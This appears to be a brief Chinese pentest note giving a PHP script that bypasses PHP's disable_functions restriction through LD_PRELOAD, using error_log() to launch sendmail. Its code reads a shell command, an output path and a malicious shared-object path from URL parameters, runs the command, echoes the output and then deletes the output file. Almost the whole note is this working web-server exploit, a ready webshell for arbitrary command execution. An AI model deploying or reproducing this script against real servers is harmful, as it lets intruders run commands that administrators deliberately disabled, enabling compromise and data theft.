error_log
https://github.com/ianxtianxt/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.php
将mail例子中的mail("", "", "", "");替换为error_log("a",1);
<?php
echo "<p> <b>example</b>: http://www.0-sec.org/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
error_log("a",1);
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>